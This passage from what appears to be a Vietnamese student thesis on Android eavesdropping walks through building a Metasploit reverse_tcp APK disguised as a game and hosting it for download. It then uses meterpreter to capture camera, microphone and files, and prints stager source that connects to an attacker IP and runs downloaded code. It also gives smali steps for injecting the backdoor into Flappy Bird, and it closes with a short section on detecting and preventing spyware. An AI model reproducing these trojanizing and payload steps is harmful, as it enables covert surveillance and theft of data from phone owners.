Tiến hành khai thác các lỗ hổng trên Windows XP qua localhost
Kết quả cuối cùng của việc khai thác các lỗ hổng này là tạo được một session với máy
victim và đính payload meterpreter vào máy victim để chiếm quyền điều khiển và có
thể tiến hành cài backdoor vào máy nạn nhân.
4.5 Tạo mã độc trên Kali linux
Ta sử dụng Metasploit framework trên Kali Linux để tạo một payload, khi máy
android tải về và mở payload lên thì sẽ bị xâm nhập và điều khiển. Nếu sử dụng máy ảo
Kali Linux bằng Virtualbox, đầu tiên ta thiết lập phần Network như sau:
Page 49
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
50
Chú ý: Ở đây Attacker là Kali linux, victim là Sony Xperia Z1.
Bước 1: Cài đặt mạng cho kalilinux.
Khởi động máy ảo, vào menu Machine->Setting , chọn thẻ Network.
Chọn cấu hình mạng phù hợp, ở đây ta chọn mạng Briged Adapter và card mạng lan
đang sử dụng, sau đó khởi động kalilinux,
Bước 2: Mở Console, gõ lệnh ifconfig để xem địa chỉ IP,
Page 50
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
51
Bước 3: Tạo mã độc:
Gõ lệnh :
Msfpayload android/meterpreter/reverse_tcp lhost=<IP > lport=4444 R >
~/Desktop/game.apk
Thông số lhost chính là IP của máy attacker, còn lport là port listening của máy
attacker, có thể chọn port khác, không nên chọn các port thường dùng vì dễ đụng
cổng, còn game.apk chính tên file mã độc.
File apk sẽ được tạo ra ngoài desktop, đây chính là metasploit reverse_tcp
backdoor, ta copy vào thư mục var/www và khởi động webserver để share file apk,
Page 51
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
52
Ở victim sẽ vào địa chỉ http://<IP_attacker>/<filename>.apk để tải về.
Bước 4: Tấn công:
- Khởi động metasploit bằng lệnh msfconsole.
- Sau khi load msfconsole load xong, ta phải tao một handler để xử lý dữ liệu truyền
về bằng các lệnh sau :
use exploit/multi/handler => chọn handle để xử lý dữ liệu truyền về
set payload android/meterpreter/reverse_tcp => chọn payload tương tự như lúc
tạo mã độc
set lhost 192.168.10.104 => đây là IP của máy kalilinux như tạo mã độc.
Page 52
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
53
set lport 4444 => port giống như tạo mã độc ở trên
exploit => bắt đầu tấn công
- Chờ máy victim tải file apk về cài đặt và chạy …
Bước 5: Tấn công:
Trên máy android, vào trình duyệt, truy cập vào địa chỉ http://<ipattacker>/game.apk,
tải file về và cài đặt, sau khi run ta có giao diện sau:
- Tải mã độc trên android
- Cài đặt mã độc trên Android:
Page 53
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
54
Khi đó, trên kali sẽ có 1 session được mở ra, tại đây chúng ta đã có thể xâm nhập vào
máy android.
4.6 Sử dụng Meterpreter
Sử dụng camera :
- Để xem danh sách camera trên máy , gõ webcam_list:
- Để chụp hình, ta gõ lệnh webcam_snap -i X với X là id camera
Page 54
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
55
- Để quay phim lại , ta gõ lệnh webcam_stream –q 1 -i X với X là id camera, thông
số -q 1 có tác dụng giảm chất lượng hình ảnh để tối ưu đường truyền.
* Ghi âm:
Gõ lệnh record_mic –d Y với Y là thời gian thu âm, tính bằng giây, nếu không có
thông số trên, thời gian thu âm mặc định là 1 giây, file ghi âm sẽ được lưu vào folder
Home trên kalilinux.
* Tải và truy cập file
Gõ lệnh pwd để xem thư mục hiện hành
Gõ lệnh ls để xem danh sách file tại thư mục hiện hành
Page 55
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
56
Gõ lệnh cd <dir> để chuyển dến thư mục khác.
Gõ lệnh upload <file_name> để upload file tới victim
Gõ lệnh donwload <file_name> để tải file từ victim về.
Gõ lệnh cat <file_name> để xem nội dung file.
Page 56
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
57
Gõ lệnh edit <file_name> để chỉnh sửa file.
Gõ :quit để lưu và thoát khỏi trình biên tập file.
Gõ lệnh ps để xem các tiến trình đang chạy.
Gõ lệnh sysinfo để xem thông tin hệ thống.
Page 57
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
58
Ngoài ra còn nhiều lệnh khác nữa, có thể gõ lệnh help để biết để xem hướng dẫn.
Page 58
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
59
5. Tìm hiểu VPS, cài metasploit trên VPS và tạo mã độc
5.1 Máy chủ ảo VPS là gì?
Máy chủ ảo (Virtual Private Server -VPS) là phương pháp phân chia một
máy chủ vật lý thành nhiều máy chủ ảo. Trong khi trên một server chạy một
Share Host thì có thể có hàng trăm tài khoản chạy cùng lúc, nhưng trên server
chạy VPS thì con số này chỉ bằng 1/10. Do vậy, VPS có hiệu năng cao hơn Share
Host rất nhiều.
Mỗi máy chủ là một hệ thống hoàn toàn riêng biệt, có hệ điều hành riêng, có
toàn quyền quản lý root và có thể restart lại hệ thống bất cứ lúc nào. Do vậy,
VPS hạn chế 100% khả năng bị hack local.
Trên 1 server chạy Share Host có nhiều Website chạy chung với nhau, chung
tài nguyên server, nếu 1 Website bị tấn công Ddos, botnet quá mạnh sẽ làm ảnh
hưởng đến các Website khác cùng server, riêng server VPS, một tài khoản trên
VPS bị tấn công thì mọi tài khoản khác trên VPS đều hoạt động bình thường.
VPS dành cho các doanh nghiệp vừa và những trang Web lớn hoặc mã
nguồn nặng, nếu chạy trên Share Host sẽ không đáp ứng đủ yêu cầu.Tuy nhiên,
VPS đòi hỏi người sử dụng phải có thêm một số kiến thức về bảo mật, cấu hình
server,….
5.2 Đặc điểm về thông số VPS
Hoạt động hoàn toàn như một server riêng nên sở hữu một phần CPU riêng,
dung lượng RAM riêng, dung lượng ổ HDD riêng, địa chỉ IP riêng và hệ điều hành
riêng.
Tiết kiệm được nhiều chi phí so với việc thuê một server riêng.
Ngoài việc dùng VPS để thiết lập Web Server, Mail Server cũng như các ứng
dụng khác thì có thể cài đặt để thực hiện những yêu cầu riêng như truy cập Web
bằng trình duyệt Web trên VPS, dowload/upload bittorrent với tốc độ cao…
Trong trường hợp VPS bị thiếu tài nguyên thì có thể dễ dàng nâng cấp tài
nguyên mà không cần phải khởi động lại hệ thống.
Có thể cài lại hệ điều hành với thời gian từ 5-10 phút.
5.3 Cài đặt Metasploit trên VPS
Page 59
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
60
Tải gói cài đặt của Metasploit, ở đây ta có 2 phiên bản là Pro và Community. Ta
chọn phiên bản Community miễn phí và dùng cho nghiên cứu.
Sau khi tải về gói cài đặt của Metasploit Community ta cài đặt như những phần
mềm khác.
Chọn folder cài đặt:
Cổng của dịch vụ Metasploit sẽ sử dụng, mặc định là 3790:
Page 60
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
61
Chọn server và ngày hết hạn, để mặc định:
Quá trình cài đặt của Metasploit:
Tiến trình hoàn tất, chọn Finish và truy cập đến giao diện web của chương trình:
Sau khi Finish trình duyệt web mở lên và đi tới giao diện
Page 61
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
62
Click vào link: https://localhost:3790/ sẽ dẫn đến trang tạo tài khoản để login vào
Metasploit. Điền Username, Password sử dụng và một số thông tin bổ xung, rồi chọn
Create Account:
Trình duyệt chuyển đến trang nhập key để active chương trình, key này được gửi
miễn phí đến mail khi tải phần mềm. Sau khi điền key nhấn Activate License:
Page 62
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
63
Giao diện chương trình Metasploit Console
Page 63
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
64
5.4 Tạo mã độc và tấn công Android trên VPS Windows Server 2003
* Tạo mã độc:
Do chưa có thời gian nghiên cứu msfpayload trên window nên ta sẽ tạo file mã độc
trên kalilinux.
Khởi động kalilinux,mở console và gõ lệnh:
Msfpayload android/meterpreter/reverse_tcp lhost=<IP_VPS>
lport=<PORT_VPS> R > ~/Desktop/game.apk
Trong đó <IP_VPS> chính là địa chỉ IP của máy VPS, còn <PORT_VPS> chính là
port lắng nghe, nên chọn port ít dùng để hạn chế đụng port.
Chúng ta có thể xem IP trên VPS bằng cách khởi động cmd rồi gõ lệnh ipconfig .
Để kiểm tra port đã dùng chưa ta dùng lệnh netstat –a :
Các dòng có LISTENING là các port đã sử dụng, chẳng hạn port 1024 , 5555, 1026
…vv
*Tấn công:
Page 64
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
65
- Trên server VPS, khởi chạy msfconsole: vào thư mục cài đặt metasploit, click vào
file dev_msfconsole.bat
- Giao diện msfconsole:
- Sau khi load msfconsole load xong, ta phải tao một handler để xử lý dữ liệu truyền
về bằng các lệnh sau :
use exploit/multi/handler => chọn handle để xử lý dữ liệu truyền về
set payload android/meterpreter/reverse_tcp => chọn payload tương tự như lúc
tạo mã độc
Page 65
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
66
set lhost 192.168.10.104 => đây là IP của máy kalilinux như tạo mã độc.
set lport 4444 => port giống như tạo mã độc ở trên
exploit => bắt đầu tấn công, chờ victim kết nối vào.
- Chờ nạn nhân cài và chạy file apk và tấn công.
Sử dụng meterpreter giống như meterpreter trên Kali linux (tham khảo trang 53).
Page 66
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
67
6. Nghiên cứu chèn mã độc vào phần mềm hoặc game trên
Android * Ý tưởng : Khi phần mềm trên android chạy, đầu tiên nó sẽ gọi hàm
Oncreate() từ class được khai báo trên file AndroidManfest.xml, chúng ta sẽ
thực hiện chèn class mã độc vào file đó, sau đó thêm đoạn mã vào thân hàm
Oncreate() để gọi tới (kích hoạt) mã độc.
// Hiện thực: Viết lại reverse_tcp.apk
6.1 Các công cụ sử dụng
6.1.1 Super APK Tools
Super ApkTool là công cụ chỉnh sửa APK với giao diện và các chức
năng đầy đủ, khác với việc chúng ta vẫn phải thực hiện bằng các dòng lệnh
trong cmd. Đây là một công cụ rất hữu ích cho các vọc sĩ Android muốn
chỉnh sửa game, ứng dụng, ROM Android ... Đơn cử như việc bạn muốn
Việt hoá một phần mềm nào đó chẳng hạn, với Super ApkTool thì mọi thao
tác sẽ đơn giản hơn nhiều.
Ưu điểm vượt trội:
Loại bỏ đi những cấu hình phức tạp và câu lệnh khó nhớ bằng giao diện
GUI trực quan
Quy trình tự động hóa giúp tiết kiệm công sức và thời gian: build -> sign
-> install -> run (*)
Kết nối thông minh tới thiết bị Android hoặc máy ảo Android
Hỗ trợ tính năng kéo thả APK để tạo Project mới
Quản lý Project dễ dàng
Page 67
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
68
Hỗ trợ thao tác chỉnh sửa APK với nhiều tính năng mạnh mẽ
Tích hợp nhiều tools: ADB Shell, ADB LogCat, Fastboot, JarViewer...
Tính năng phần mềm:
Chỉnh sửa file APK
Quản lý Project
Quản lý và kết nối thiết bị Android hoặc máy ảo Android
Cài đặt Framework
Các công cụ làm việc với Android khác
6.1.2 Android SDK
Android SDK (Bộ công cụ phát triển phần mềm của Android) cung cấp
một tập hợp các công cụ phong phú, bao gồm trình gỡ rối, các thư viện, trình
mô phỏng thiết bị cầm tay, tài liệu, mã mẫu và các hướng dẫn. Các ứng dụng
Android có thể dễ dàng được phát triển khi sử dụng Eclipse (nền tảng phát
triển chính thức của Android) với sự trợ giúp của một trình cắm thêm được
gọi là ADT (Android Development Tools – Các công cụ phát triển Android).
Điều này giúp tận dụng các tính năng phong phú của Eclipse, như là hỗ trợ
nội dung, tìm kiếm Java, các tài nguyên mở, tích hợp JUnit và các khung
nhìn và các ảnh phối cảnh khác nhau để phát triển một ứng dụng Android.
Một mảng rộng rãi các widget (tiện ích), tương tự như các widget swing của
Java, tạo điều kiện thuận lợi trong việc tạo một giao diện người dùng phong
phú cho các ứng dụng. Một công cụ Javadoc chi tiết giúp cho quá trình phát
triển này khá dễ dàng.
Page 68
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
69
6.2 Nghiên cứu source code Reverse_tcp - Chạy SuperAPKTools, vào menu Tools->Jarviewer, kéo file mã độc apk
vào:
- Có 2 file cần chú ý là LoadStage và MainActivity:
+ Mã nguồn file LoadStage :
1. package com.metasploit.stage; 2. import android.content.Context; 3. import dalvik.system.DexClassLoader; 4. import java.io.DataInputStream; 5. import java.io.File; 6. import java.io.FileOutputStream; 7. import java.io.OutputStream; 8. import java.lang.reflect.Method; 9. import java.util.Random; 10. 11. public class LoadStage 12. { 13. private String randomJarName() 14. { 15. char[] arrayOfChar = "abcdefghijklmnopqrstuvwxyz".toCharArray(); 16. StringBuilder localStringBuilder = new StringBuilder(); 17. Random localRandom = new Random(); 18. for (int i = 0; i < 20; i++) 19. localStringBuilder.append(arrayOfChar[localRandom.nextInt(arrayOfCha
r.length)]); 20. return localStringBuilder.toString() + ".jar"; 21. } 22. 23. public void start(DataInputStream paramDataInputStream, OutputStream par
amOutputStream, Context paramContext, String[]paramArrayOfString) 24. throws Exception
Page 69
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
70
25. { 26. String str1 = randomJarName(); 27. String str2 = paramContext.getFilesDir().getAbsolutePath(); 28. byte[] arrayOfByte1 = new byte[paramDataInputStream.readInt()]; 29. paramDataInputStream.readFully(arrayOfByte1); 30. String str3 = new String(arrayOfByte1); 31. byte[] arrayOfByte2 = new byte[paramDataInputStream.readInt()]; 32. paramDataInputStream.readFully(arrayOfByte2); 33. FileOutputStream localFileOutputStream = paramContext.openFileOutput(s
tr1, 0); 34. localFileOutputStream.write(arrayOfByte2); 35. localFileOutputStream.close(); 36. Class localClass = new DexClassLoader(str2 + File.separatorChar + str1
, str2, str2, paramContext.getClassLoader()).loadClass(str3); 37. Object localObject = localClass.newInstance(); 38. localClass.getMethod("start", new Class[] { DataInputStream.class, Out
putStream.class, Context.class, [Ljava.lang.String.class}).invoke(localObject, new Object[] { paramDataInputStream, paramOutputStream, paramContext, paramArrayOfString });
39. } 40. }
+ Mã nguồn file MainActivity:
1. package com.metasploit.stage; 2. 3. import android.app.Activity; 4. import android.os.AsyncTask; 5. import android.os.Bundle; 6. import android.view.View; 7. import android.view.View.OnClickListener; 8. import java.io.DataInputStream; 9. import java.io.DataOutputStream; 10. import java.net.Socket; 11. 12. public class MainActivity extends Activity 13. { 14. private static final String LHOST = "XXXX192.168.10.203
"; 15. private static final String LPORT = "YYYY4444
"; 16. 17. private void reverseTCP() 18. { 19. try 20. { 21. Socket localSocket = new Socket("XXXX192.168.10.203
".substring(4).trim(), Integer.parseInt("YYYY4444 ".substring(4).trim()));
22. DataInputStream localDataInputStream = new DataInputStream(localSocket.getInputStream());
23. DataOutputStream localDataOutputStream = new DataOutputStream(localSocket.getOutputStream());
24. new LoadStage().start(localDataInputStream, localDataOutputStream, this, new String[0]);
25. localSocket.close(); 26. return; 27. } 28. catch (Exception localException) 29. {
Page 70
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
71
30. localException.printStackTrace(); 31. } 32. } 33. 34. private void startAsync() 35. { 36. new AsyncTask() 37. { 38. protected Void doInBackground(Void[] paramArrayOfVoid) 39. { 40. MainActivity.this.reverseTCP(); 41. return null; 42. } 43. } 44. .execute(new Void[0]); 45. } 46. 47. public void onCreate(Bundle paramBundle) 48. { 49. super.onCreate(paramBundle); 50. setContentView(2130903040); 51. findViewById(2131034112).setOnClickListener(new View.OnClickListener() 52. { 53. public void onClick(View paramView) 54. { 55. MainActivity.this.startAsync(); 56. } 57. }); 58. startAsync(); 59. } 60. }
Qua class LoadStage, ta thấy chương trình chỉ thực hiện quá trình tải đoạn mã thực
thi từ server về và chạy chúng. Toàn bộ phần tấn công sẽ do đoạn mã được tải về
hoàn toàn đảm nhiệm. Việc code lại reverse_tcp tương đối dễ dàng.
6.3 Rebuild reverse_tcp Dựa vào đoạn mã được bôi đậm ở trên, ta có thề viết lại reverse_tcp :
Mở Android SDK, tạo project mới.
Tạo class có tên là LoadStage:
1. package com.example.reverse_tcp; 2. 3. import android.content.Context; 4. import dalvik.system.DexClassLoader; 5. import java.io.*; 6. import java.net.Socket; 7. import java.util.Random; 8. import android.os.AsyncTask; 9. 10. public class LoadStage { 11. static class background implements Runnable { 12. Context context; 13. public background(Context context){
Page 71
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
72
14. this.context = context; 15. } 16. public void run() { 17. reverseTCP(context); 18. } 19. 20. } 21. public static void run(Context context) { 22. Thread thread = new Thread(new background(context)); 23. thread.start(); 24. System.out.println("started"); 25. } 26. public static class Task_ extends AsyncTask<Context, Void, String> { 27. @Override 28. protected String doInBackground(Context... params) { 29. reverseTCP(params[0]); 30. return null; 31. } 32. } 33. public static void reverseTCP(Context context) { 34. try { 35. Socket localSocket = new Socket( 36. "XXXX14.0.21.58 ".substring(4).trim(), 37. Integer.parseInt("YYYY4444 " 38. .substring(4).trim())); 39. DataInputStream localDataInputStream = new DataInputStream( 40. localSocket.getInputStream()); 41. DataOutputStream localDataOutputStream = new DataOutputStream( 42. localSocket.getOutputStream()); 43. new LoadStage().start(localDataInputStream,
localDataOutputStream, 44. context, new String[0]); 45. localSocket.close(); 46. return; 47. } catch (Exception localException) { 48. System.out.println(localException); 49. localException.printStackTrace(); 50. } 51. } 52. private String randomJarName() { 53. char[] arrayOfChar = "abcdefghijklmnopqrstuvwxyz".toCharArray(); 54. StringBuilder localStringBuilder = new StringBuilder(); 55. Random localRandom = new Random(); 56. for (int i = 0; i < 20; i++) 57. localStringBuilder.append(arrayOfChar[localRandom 58. .nextInt(arrayOfChar.length)]); 59. return localStringBuilder.toString() + ".jar"; 60. } 61. @SuppressWarnings({ "rawtypes", "unchecked" }) 62. public void start(DataInputStream paramDataInputStream, 63. OutputStream paramOutputStream, Context paramContext, 64. String[] paramArrayOfString) throws Exception { 65. String str1 = randomJarName(); 66. String str2 = paramContext.getFilesDir().getAbsolutePath(); 67. byte[] arrayOfByte1 = new byte[paramDataInputStream.readInt()]; 68. paramDataInputStream.readFully(arrayOfByte1); 69. String str3 = new String(arrayOfByte1); 70. byte[] arrayOfByte2 = new byte[paramDataInputStream.readInt()]; 71. paramDataInputStream.readFully(arrayOfByte2); 72. FileOutputStream localFileOutputStream = paramContext.openFileOutput( 73. str1, 0);
Page 72
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
73
74. localFileOutputStream.write(arrayOfByte2); 75. localFileOutputStream.close(); 76. Class localClass = new DexClassLoader(str2 + File.separatorChar + str1, 77. str2, str2, paramContext.getClassLoader()).loadClass(str3); 78. Object localObject = localClass.newInstance(); 79. 80. localClass.getMethod( 81. "start", 82. new Class[] { DataInputStream.class, OutputStream.class, 83. Context.class, (new String[1]).getClass() }).invoke( 84. localObject, 85. new Object[] { paramDataInputStream, paramOutputStream, 86. paramContext, paramArrayOfString }); 87. 88. } 89. }
- Sửa hàm Oncreate trong class MainActivity thành :
@Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); LoadStage.run(this); }
Mục đích của LoadStage.run(this); là để khởi chạy hàm reverseTCP() trong một
thread riêng.
- Thực hiện build file:
6.4 Chuẩn bị cho việc chèn mã độc - Mở apktools , vào menu Project->New Project ,mở file vừa build được, chờ cho
chương trình decomplite hoàn thành, vào menu View-> Smalicode ,copy 3 file
class trong thư mục Smali/com/example/reverse_tcp/, nhớ copy luôn cả thư mục
vào một thư mục tạm nào đó.
Page 73
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
74
Mở file MainActivity.smali
# virtual methods .method protected onCreate(Landroid/os/Bundle;)V .locals 2 .parameter "savedInstanceState" .prologue .line 12 invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V .line 13 const/high16 v0, 0x7f03 invoke-virtual {p0, v0}, Lcom/example/reverse_tcp/MainActivity;->setContentView(I)V
.line 14 sget-object v0, Ljava/lang/System;->out:Ljava/io/PrintStream; invoke-virtual {p0}, Lcom/example/reverse_tcp/MainActivity;->getFilesDir()Ljava/io/File; move-result-object v1 invoke-virtual {v1}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String; move-result-object v1 invoke-virtual {v0, v1}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V .line 15 invoke-static {p0}, Lcom/example/reverse_tcp/LoadStage;->run(Landroid/content/Context;)V .line 16 return-void .end method
Ngay dòng .line 15 , ta nhận thấy chỉ cần chèn đoạn mã
invoke-static {p0}, Lcom/example/reverse_tcp/LoadStage;->run(Landroid/content/Context;)V
và copy thêm 3 file smali trên là ta có thể chèn reverse_tcp vào file apk.
6.5 Thực hiện chèn mã độc vào game flappy bird - Đã thực hiện chèn thành công vào game flappy bird và ứng dụng chat Ola. Về
nguyên lý thì chùng tương tự nhau nên ở đây sẽ Demo game flppy bird.
- Dùng công cụ SuperAPKTools, vào menu Project->New Project, chọn file
apk cần chèn mã độc vào.
- Mở smali code, copy thư mục vừa nãy vào.
- Chỉnh sữa file AndroidManfest.xml. để thêm các quyền cần thiết :
Page 74
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
75
Thêm đoạn code sau vào sau thẻ Androidmainfest :
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.ACCESS_COURSE_LOCATION" />
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.SEND_SMS" />
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.RECORD_AUDIO" />
<uses-permission android:name="android.permission.CALL_PHONE" />
<uses-permission android:name="android.permission.READ_CONTACTS" />
<uses-permission android:name="android.permission.WRITE_CONTACTS" />
<uses-permission android:name="android.permission.RECORD_AUDIO" />
<uses-permission android:name="android.permission.WRITE_SETTINGS" />
<uses-permission android:name="android.permission.CAMERA" />
Sau khi chèn ta được:
<?xml version="1.0" encoding="utf-8"?>
<manifest android:versionCode="1" android:versionName="1.0" package="com.example.reverse_tcp"
xmlns:android="http://schemas.android.com/apk/res/android">
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.ACCESS_COURSE_LOCATION" />
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission android:name="android.permission.SEND_SMS" />
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.RECORD_AUDIO" />
<uses-permission android:name="android.permission.CALL_PHONE" />
<uses-permission android:name="android.permission.READ_CONTACTS" />
<uses-permission android:name="android.permission.WRITE_CONTACTS" />
<uses-permission android:name="android.permission.RECORD_AUDIO" />
<uses-permission android:name="android.permission.WRITE_SETTINGS" />
<uses-permission android:name="android.permission.CAMERA" />
<application android:theme="@style/AppTheme" android:label="@string/app_name" android:icon
="@drawable/ic_launcher"android:debuggable="true" android:allowBackup="true">
<activity android:label="@string/app_name" android:name=".MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity> </application>
</manifest>
- Thực hiện build file thử , xem class được gọi đầu tiên nằm ở đâu (lưu ý: phải
bật và kết nối tới máy ảo android )
Page 75
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
76
- Mở file ở đường dẫn vừa tìm được trong smali code, chèn thêm đoạn smali
code sau dòng bắt đầu bằng invoke-super :
Sau khi chèn :
- Mở file com/example/reverse_tcp/LoadStage.smali chỉnh sửa, tìm dòng
XXXX, chỉnh sửa lại IP attacker, tìm dòng YYYY, chỉnh sửa lại Port.
invoke-static {p0}, Lcom/example/reverse_tcp/LoadStage;->run(Landroid/content/Context;)V
Page 76
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
77
- Thực hiện build lại file.
- Sau khi chạy thử game, không nhận thấy bất kỳ vấn đề nào khác ngoài quá
trình cài đặt, phải xác nhận các quyền sử dụng Internet,Camera, Ghi âm,Danh
bạ …
Page 77
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
78
7. Cách phát hiện và phòng chống nghe lén
7.1 Các biểu hiện bất thường
Thông thường các phần mềm nghe lén chạy ngầm nên khó phát hiện, nhưng
chúng ta có thể dựa vào một số đặc điểm nghi vấn như:
Pin hao nhanh một cách bất thường, do phần mềm nghe lén hoạt động liên
tục ngay cả khi điện thoại của bạn không hoạt động.
Lưu lượng dữ liệu hoặc cước 3G tăng một cách đột biến. Đơn giản, phần
mềm nghe lén luôn phải dùng máy của bạn gửi các dữ liệu qua mạng đến
máy chủ hoặc email.
Thỉnh thoảng, chương trình GPRS hoặc 3G tự động kích hoạt, mặc dù bạn
không có động tay, động chân.
Máy đột nhiên chạy chậm không giống bình thường, bạn gọi điện hoặc lướt
web gì cũng thấy khó khăn.
Màn hình hay tự sáng bất thường rồi tắt.
7.2 Cách phát hiện phần mềm nghe lén
7.2.1 Thủ công
Cách 1: Vào phần Cài đặt ứng dụng đã tải về. Xem có phần mềm nào lạ và
nghi vấn không. Sau đó xem những quyền của ứng dụng đó: ghi âm, danh bạ, tin
nhắn…. Xem những ứng dụng nào được truy cập những quyền riêng tư.
Page 78
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
79
Cách 2: Kiểm tra phần sử dụng dữ liệu xem có phần mềm nào khả nghi sử
dụng lưu lượng dữ liệu cao không.
Cách 3: Kiểm tra tương tự với các ứng dụng chạy nền. Cài đặt ứng
dụng đang chạy.
Page 79
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
80
7.2.2 Sử dụng phần mềm
Anti Spy Mobile PRO - Phát giác phần mềm gián điệp trên smartphone
Anti Spy Mobile là ứng dụng được thiết kế với mục đích quét và tìm kiếm các phần
mềm gián điệp đã được cài đặt và đang hoạt động trên thiết bị của người dùng. Anti
Spy Mobile sẽ tự động quét quyển hạn và khả năng truy cập của từng ứng dụng trên
thiết bị, từ đó đưa danh sách những ứng dụng gián điệp, những ứng dụng khả nghi
(có khả năng là ứng dụng gián điệp) và ứng dụng sạch.
Anti Spy Mobile Pro sẽ cho phép bạn tự động quét hệ thống hàng ngày và sẽ hiện
thông báo nếu phát hiện vấn đề.
NQ Mobile Security
Page 80
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
81
NQ Mobile Security hỗ trợ quét virus những ứng dụng đã cài trên máy,
cũng như dữ liệu lưu trong máy và thẻ nhớ. Người dùng sẽ thấy yên tâm
hơn vì NQ Mobile Security sẽ dò tìm những ứng dụng đang tìm cách truy
cập vào danh bạ, tin nhắn, vị trí và thông tin của người dùng.
Với phiên bản Premium (có tính phí) hỗ trợ tính năng chống nghe lén và
ghi âm cuộc gọi. Ứng dụng sẽ quét và thông báo cho người dùng nếu phát
hiện ra phần mềm gián điệp cài trên máy.
MoTel Pro (Anti-wiretapping)
Các phần mềm gián điệp có khả năng nghe lén và ghi âm lại các cuộc gọi
nhưng nó không thể thoát khỏi sự rà soát của MoTel. Khi bạn thực hiện
cuộc gọi, MoTel Pro sẽ phát hiện ra những ứng dụng có chức năng ghi âm
cuộc gọi và tự động thông báo cho người dùng.
Redphone
Redphone là ứng dụng gọi điện qua Internet (Wi-Fi hoặc 3G) với chức
năng mã hóa cuộc gọi, đảm bảo cuộc trò chuyện trên điện thoại của bạn
không bị nghe lén. Tuy nhiên, để đạt được hiệu quả bảo mật cao nhất, ứng
dụng yêu cầu cả máy gọi và máy nghe đều cài Redphone. Người dùng
Redphone có thể dùng số điện thoại thông thường để gọi và nhận cuộc gọi.
Page 81
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
82
Khi bạn gọi điện cho một người cũng cài Redphone, ứng dụng sẽ thông báo
là bạn có thể mã hóa cuộc gọi.
TextSecure Private Messenger
TextSecure là phần mềm thích hợp cho những người có nhiều tin nhắn bí mật.
TextSecure có lựa chọn khóa ứng dụng bằng mật khẩu, mã hóa các cuộc trò chuyện
giữa hai người dùng. Ứng dụng cũng cho phép thay đổi màu đèn thông báo.
7.3 Cách phòng chống nghe lén
Sau khi đã tìm ra được các phần mềm nghe lén thì ta tiến hành gỡ cài đặt
chúng; bước này đơn giản nên sẽ không hướng dẫn. Tôi xin hướng dẫn thêm
một số cách đề phòng bị nghe lén.
- Không cho phép cài đặt các phần mềm lạ, không rõ nguồn gốc. Tốt nhất là
không cho người lạ mượn điện thoại. Cài đặt Bảo mật
Page 82
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
83
- Khi cài đặt phần mềm, trò chơi. Bạn chắc rằng đã kiểm soát chặt chẽ quyền
mà bạn cấp phát.
Đây là game Flappy Bird đã bị cài mã độc nên có các quyền lạ như ghi âm,
chụp ảnh….
Cách cuối cùng là khôi phục lại cài đặt gốc của nhà sản xuất. Cài đặt Sao
lưu và đặt lại
-
Page 83
GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android
84
- Cách an toàn hơn hết là cài đặt phần mềm Virus cho chiếc điện thoại
android yêu quý của bạn.
AVG Antivirus Security
AVG Antivirus an ninh được coi là chống virus miễn phí
hàng đầu cho Android vì nó đã được tải về từ Google Play
